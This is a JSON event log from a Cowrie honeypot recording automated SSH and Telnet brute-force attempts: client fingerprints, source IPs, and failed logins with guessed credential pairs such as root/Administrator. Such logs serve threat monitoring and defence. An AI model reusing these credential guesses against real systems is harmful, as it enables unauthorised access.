{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:18.409307Z","src_ip":"111.238.174.6","session":"bb1ad5a9fa36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kent","password":"kent","message":"login attempt [kent/kent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:19.133634Z","src_ip":"111.238.174.6","session":"bb1ad5a9fa36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:20.320895Z","src_ip":"111.238.174.6","session":"bb1ad5a9fa36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.69117283821106,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:34.255197Z","src_ip":"172.81.62.90","session":"3e6afba7b338","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.9994432926178,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:37.613117Z","src_ip":"172.81.62.90","session":"533cb8093ae1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":59342,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ad64d1aedd7","protocol":"ssh","message":"New connection: 2.57.122.238:59342 (159.203.135.109:22) [session: 6ad64d1aedd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:37.656432Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:37.662004Z","src_ip":"2.57.122.238","session":"6ad64d1aedd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:37.763898Z","src_ip":"2.57.122.238","session":"6ad64d1aedd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"1234","message":"login attempt [node/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:38.076530Z","src_ip":"2.57.122.238","session":"6ad64d1aedd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:39.180244Z","src_ip":"2.57.122.238","session":"6ad64d1aedd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":63020,"dst_ip":"10.17.0.5","dst_port":22,"session":"4bd1e0bc69cf","protocol":"ssh","message":"New connection: 123.58.215.196:63020 (10.17.0.5:22) [session: 4bd1e0bc69cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:40.503999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:40.509243Z","src_ip":"123.58.215.196","session":"4bd1e0bc69cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:40.731431Z","src_ip":"123.58.215.196","session":"4bd1e0bc69cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123QWEasdzxc","message":"login attempt [root/123QWEasdzxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:41.637658Z","src_ip":"123.58.215.196","session":"4bd1e0bc69cf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:06:42.856884Z","src_ip":"123.58.215.196","session":"4bd1e0bc69cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.3.206.66","src_port":57652,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ac0e24b5260","protocol":"ssh","message":"New connection: 192.3.206.66:57652 (10.17.0.5:22) [session: 7ac0e24b5260]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:04.826109Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:04.831781Z","src_ip":"192.3.206.66","session":"7ac0e24b5260","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:04.861350Z","src_ip":"192.3.206.66","session":"7ac0e24b5260","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:a8:8c:3e:4c:1e:95:c2:f8:b4:ea:0c:f4:77:77:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrj7ImikScBW1Xotu4vqrSudtGWXva7OeWntGSW1hboYl6b24/6Xfpnasz+OJqjHCukQknSmSuK4Vmz6L8IEUD4c/H0feOkX4Y1GHkAubiqh09+aHqQjrG9lUhsKkH647RjhnZh+B6SPpLoqK/F/MPSexRjYkL4WZdeITqkjQqVUnYWKyH8ZPEfCN+4dLVOLY/1yBoMh22mCbI8j9j/e/o6xjT8jaZIG7iUmw/FKhFEPacAdY4Z3bKc+T0WvZ2ypNQX6il4y7dxvSNdbUwtYyOyMvhUDTa+r2uzwBVsJxU2F8vP7il7Y/o6K2uQlRH7UeS6dkA7bkACNkhUnMSec/9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:a8:8c:3e:4c:1e:95:c2:f8:b4:ea:0c:f4:77:77:5f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:04.983615Z","src_ip":"192.3.206.66","session":"7ac0e24b5260","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:a8:8c:3e:4c:1e:95:c2:f8:b4:ea:0c:f4:77:77:5f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrj7ImikScBW1Xotu4vqrSudtGWXva7OeWntGSW1hboYl6b24/6Xfpnasz+OJqjHCukQknSmSuK4Vmz6L8IEUD4c/H0feOkX4Y1GHkAubiqh09+aHqQjrG9lUhsKkH647RjhnZh+B6SPpLoqK/F/MPSexRjYkL4WZdeITqkjQqVUnYWKyH8ZPEfCN+4dLVOLY/1yBoMh22mCbI8j9j/e/o6xjT8jaZIG7iUmw/FKhFEPacAdY4Z3bKc+T0WvZ2ypNQX6il4y7dxvSNdbUwtYyOyMvhUDTa+r2uzwBVsJxU2F8vP7il7Y/o6K2uQlRH7UeS6dkA7bkACNkhUnMSec/9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:04.987150Z","src_ip":"192.3.206.66","session":"7ac0e24b5260","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"42:f5:7a:9c:26:df:f0:5f:9e:2b:0c:8a:e8:53:31:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKdKxV9Giwqua6L2hwgwrnmStkSIYFZqSiyihghbu7CmYwJ9hOInA8Fv3+O3xA0lORJeng0bnCb5VNvmueG42vuhfqUynu+PArNgI0TmrYvZEONJiyea3klfErc2PhrHNmToshNWRmjWDEW9GqnC2O4L2RWVM2ecwMvXz7WHveZro2ujM8ADpAsGu2J7oS+8tPisMo0y+B2g/PXsDHBtITD8cU69VwFLY1XAfJ7LPiZgkEOizRqi6UxMIffIwCGR1RdCQ7QLpHtdFJpBLZSGDoYi5JbQJbOFWjNxdMvP2Bh3wDuXEIt5gPdqG+Lujjxe4tKH9QIR4BLn79hlBgOZAT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 42:f5:7a:9c:26:df:f0:5f:9e:2b:0c:8a:e8:53:31:ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:05.025678Z","src_ip":"192.3.206.66","session":"7ac0e24b5260","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"42:f5:7a:9c:26:df:f0:5f:9e:2b:0c:8a:e8:53:31:ba","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKdKxV9Giwqua6L2hwgwrnmStkSIYFZqSiyihghbu7CmYwJ9hOInA8Fv3+O3xA0lORJeng0bnCb5VNvmueG42vuhfqUynu+PArNgI0TmrYvZEONJiyea3klfErc2PhrHNmToshNWRmjWDEW9GqnC2O4L2RWVM2ecwMvXz7WHveZro2ujM8ADpAsGu2J7oS+8tPisMo0y+B2g/PXsDHBtITD8cU69VwFLY1XAfJ7LPiZgkEOizRqi6UxMIffIwCGR1RdCQ7QLpHtdFJpBLZSGDoYi5JbQJbOFWjNxdMvP2Bh3wDuXEIt5gPdqG+Lujjxe4tKH9QIR4BLn79hlBgOZAT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:05.030915Z","src_ip":"192.3.206.66","session":"7ac0e24b5260","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"6a:b6:63:71:4d:b5:2d:bb:2c:bf:0c:b0:e6:88:05:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKh+JQnhM/iLfPQq8/a40pJw3M0sq8UBqPyaQ/IR79Ceu8f9MSpXpKdxYSLuH4IQKr2GNKl0gWlpapE1K1JGZZqAfZYHcKvA2XC1RAky8iPaKpba91ELl7b/wkdXwZL5thDBvkOj6idCSCXHAya+k1FXae9TTIYxFxJnI7eWl/Me0jtDw5ESgC7eSnocPhnxSM6MkfSiWLZRltRRXfJMgXXmfNarRoNjRaYY+Ak5BZi2kcOV83phWZXxwFDi/VBNeulukMT8pjsExAWocQJZp6YIkwNEPp6OCYTANQZxZra7miGj1cHtouiH7AtIABchCKnoHqDhA8s909mQgFkKOF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 6a:b6:63:71:4d:b5:2d:bb:2c:bf:0c:b0:e6:88:05:45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:05.060335Z","src_ip":"192.3.206.66","session":"7ac0e24b5260","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"6a:b6:63:71:4d:b5:2d:bb:2c:bf:0c:b0:e6:88:05:45","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKh+JQnhM/iLfPQq8/a40pJw3M0sq8UBqPyaQ/IR79Ceu8f9MSpXpKdxYSLuH4IQKr2GNKl0gWlpapE1K1JGZZqAfZYHcKvA2XC1RAky8iPaKpba91ELl7b/wkdXwZL5thDBvkOj6idCSCXHAya+k1FXae9TTIYxFxJnI7eWl/Me0jtDw5ESgC7eSnocPhnxSM6MkfSiWLZRltRRXfJMgXXmfNarRoNjRaYY+Ak5BZi2kcOV83phWZXxwFDi/VBNeulukMT8pjsExAWocQJZp6YIkwNEPp6OCYTANQZxZra7miGj1cHtouiH7AtIABchCKnoHqDhA8s909mQgFkKOF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:05.063639Z","src_ip":"192.3.206.66","session":"7ac0e24b5260","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b4:20:fe:b5:6e:68:c7:fb:35:0f:f7:20:bc:de:cb:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyBwrUg1ptWpBZzfZHpoMHykhhTvDW0cyTvRu9Vfdpl4GxVy7wJcUoYrzu7ahh2Akqqv5/s39wsPDD3XtwnNXWa3kTTLN8+MBjykLOFhl5VdVAr6KoQjm3+bT7sunDyZaX6gigCGX/L9SgePudigUHmtuVF/iKrUoH3VOLzvxb54N4OL04bcFcyIvuZ9gIi0uRcqaZSSybkuuEr6KJxSh/I5Oe/6KVhVQr4+u1BnPolv8UnOGJRIATkbzmzMgH/hyHTY8dGkH62lvCmBc37fXruS4PCCupEGPADBIhhjLPJSq6w/H6lxjuEwYvA0hHKxky9LiQzzOdXdznRx3BnMidQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b4:20:fe:b5:6e:68:c7:fb:35:0f:f7:20:bc:de:cb:3c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:05.097191Z","src_ip":"192.3.206.66","session":"7ac0e24b5260","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b4:20:fe:b5:6e:68:c7:fb:35:0f:f7:20:bc:de:cb:3c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyBwrUg1ptWpBZzfZHpoMHykhhTvDW0cyTvRu9Vfdpl4GxVy7wJcUoYrzu7ahh2Akqqv5/s39wsPDD3XtwnNXWa3kTTLN8+MBjykLOFhl5VdVAr6KoQjm3+bT7sunDyZaX6gigCGX/L9SgePudigUHmtuVF/iKrUoH3VOLzvxb54N4OL04bcFcyIvuZ9gIi0uRcqaZSSybkuuEr6KJxSh/I5Oe/6KVhVQr4+u1BnPolv8UnOGJRIATkbzmzMgH/hyHTY8dGkH62lvCmBc37fXruS4PCCupEGPADBIhhjLPJSq6w/H6lxjuEwYvA0hHKxky9LiQzzOdXdznRx3BnMidQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:05.101349Z","src_ip":"192.3.206.66","session":"7ac0e24b5260","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:42:56:3b:f9:d9:66:a4:5d:a5:66:f1:cd:a3:de:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0/DMksuE78jUviAicXWvZO1KUVkIPzS6A6ijQ/U7sNMBsBEeNjnynZ47nb4yBPJySZoA6N4UAEYkFDylRpsTfkY9pow36qIs3UuwKLnEh03JFNVPxY81Nno/LQwGDnxzE+FjKMltfcQOq/7Cc1lyrv5uYwzh0NsqMKAuaXS0OoaVqg29ByNG464km7nE59lq2QlHMeNvEA+a9iU5pwPvuDz24OVwfWk5Fl//JduMqFzO6aTpbYk5CvOUV6HaFQN1AkY1uRRgSNpmlg1vambl5fbAPTu+CjmLoolywWMc5rlSRUwpKcjGkr8d8smpUihanX9dlOjlo6upQ58LqoyC5","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:42:56:3b:f9:d9:66:a4:5d:a5:66:f1:cd:a3:de:d9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:05.134486Z","src_ip":"192.3.206.66","session":"7ac0e24b5260","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:42:56:3b:f9:d9:66:a4:5d:a5:66:f1:cd:a3:de:d9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC0/DMksuE78jUviAicXWvZO1KUVkIPzS6A6ijQ/U7sNMBsBEeNjnynZ47nb4yBPJySZoA6N4UAEYkFDylRpsTfkY9pow36qIs3UuwKLnEh03JFNVPxY81Nno/LQwGDnxzE+FjKMltfcQOq/7Cc1lyrv5uYwzh0NsqMKAuaXS0OoaVqg29ByNG464km7nE59lq2QlHMeNvEA+a9iU5pwPvuDz24OVwfWk5Fl//JduMqFzO6aTpbYk5CvOUV6HaFQN1AkY1uRRgSNpmlg1vambl5fbAPTu+CjmLoolywWMc5rlSRUwpKcjGkr8d8smpUihanX9dlOjlo6upQ58LqoyC5","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:05.137625Z","src_ip":"192.3.206.66","session":"7ac0e24b5260","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:05.166069Z","src_ip":"192.3.206.66","session":"7ac0e24b5260","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41028,"dst_ip":"159.203.135.109","dst_port":23,"session":"1cadea6e7d2b","protocol":"telnet","message":"New connection: 128.199.8.54:41028 (159.203.135.109:23) [session: 1cadea6e7d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:12.267236Z"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":52986,"dst_ip":"10.17.0.5","dst_port":22,"session":"cccf1b51225b","protocol":"ssh","message":"New connection: 111.238.174.6:52986 (10.17.0.5:22) [session: cccf1b51225b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:18.812407Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:18.819232Z","src_ip":"111.238.174.6","session":"cccf1b51225b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:19.006069Z","src_ip":"111.238.174.6","session":"cccf1b51225b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Administrator","message":"login attempt [root/Administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:19.752369Z","src_ip":"111.238.174.6","session":"cccf1b51225b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:07:20.949975Z","src_ip":"111.238.174.6","session":"cccf1b51225b","protocol":"ssh"}
